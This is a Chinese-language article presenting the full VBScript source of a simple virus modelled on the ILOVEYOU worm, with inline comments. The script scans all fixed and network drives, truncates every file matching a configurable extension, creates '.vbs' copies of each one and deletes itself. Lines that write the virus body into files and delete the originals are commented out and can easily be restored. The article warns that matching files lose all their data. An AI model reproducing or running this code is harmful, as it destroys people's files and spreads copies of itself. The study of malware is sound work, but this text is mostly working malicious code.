vbs病毒的簡單例子原始碼解析

說明：作者對某些代碼進行了修改。該檔案是一個完整的程式。該檔案執行之後，會尋找硬碟上所有滿足條件的檔案，對其進行強制性覆蓋（滿足條件的檔案資料將全部丟失）、並再建立一個相同檔案名稱但後帶.vbs的檔案。因此，請注意設立好破壞測試條件，千萬不要對他人進行測試，否則，一切後果自負。如果你的系統不支援.vbs,可以將尾碼改為.vbe

dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '讀取病毒體，以備複製到檔案
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '檢查磁碟類型
wscript.echo d '快顯視窗，顯示找到盤符
scan(d)
end if
next
lsfile=wscript.scriptfullname '該指令碼程式路徑
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '病毒運行後自我刪除(本人自加，愛蟲病毒本身沒有該代碼）

sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '擷取檔案尾碼
ext=lcase(ext) '尾碼名轉換成小寫字母
if ext="mp5" then '如果尾碼名是mp5,當然不存在這種檔案，這裡可以自己修改，但是注意。請自己建立相應尾碼名的檔案，最好是非正常尾碼名
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy '覆蓋檔案，慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs") '建立另外一個病毒檔案
' file.delete(true) '刪除原來檔案
end if
next

set subfolders=folder_.subfolders
for each subfolder in subfolders '搜尋其他目錄
scan(subfolder)
next

end sub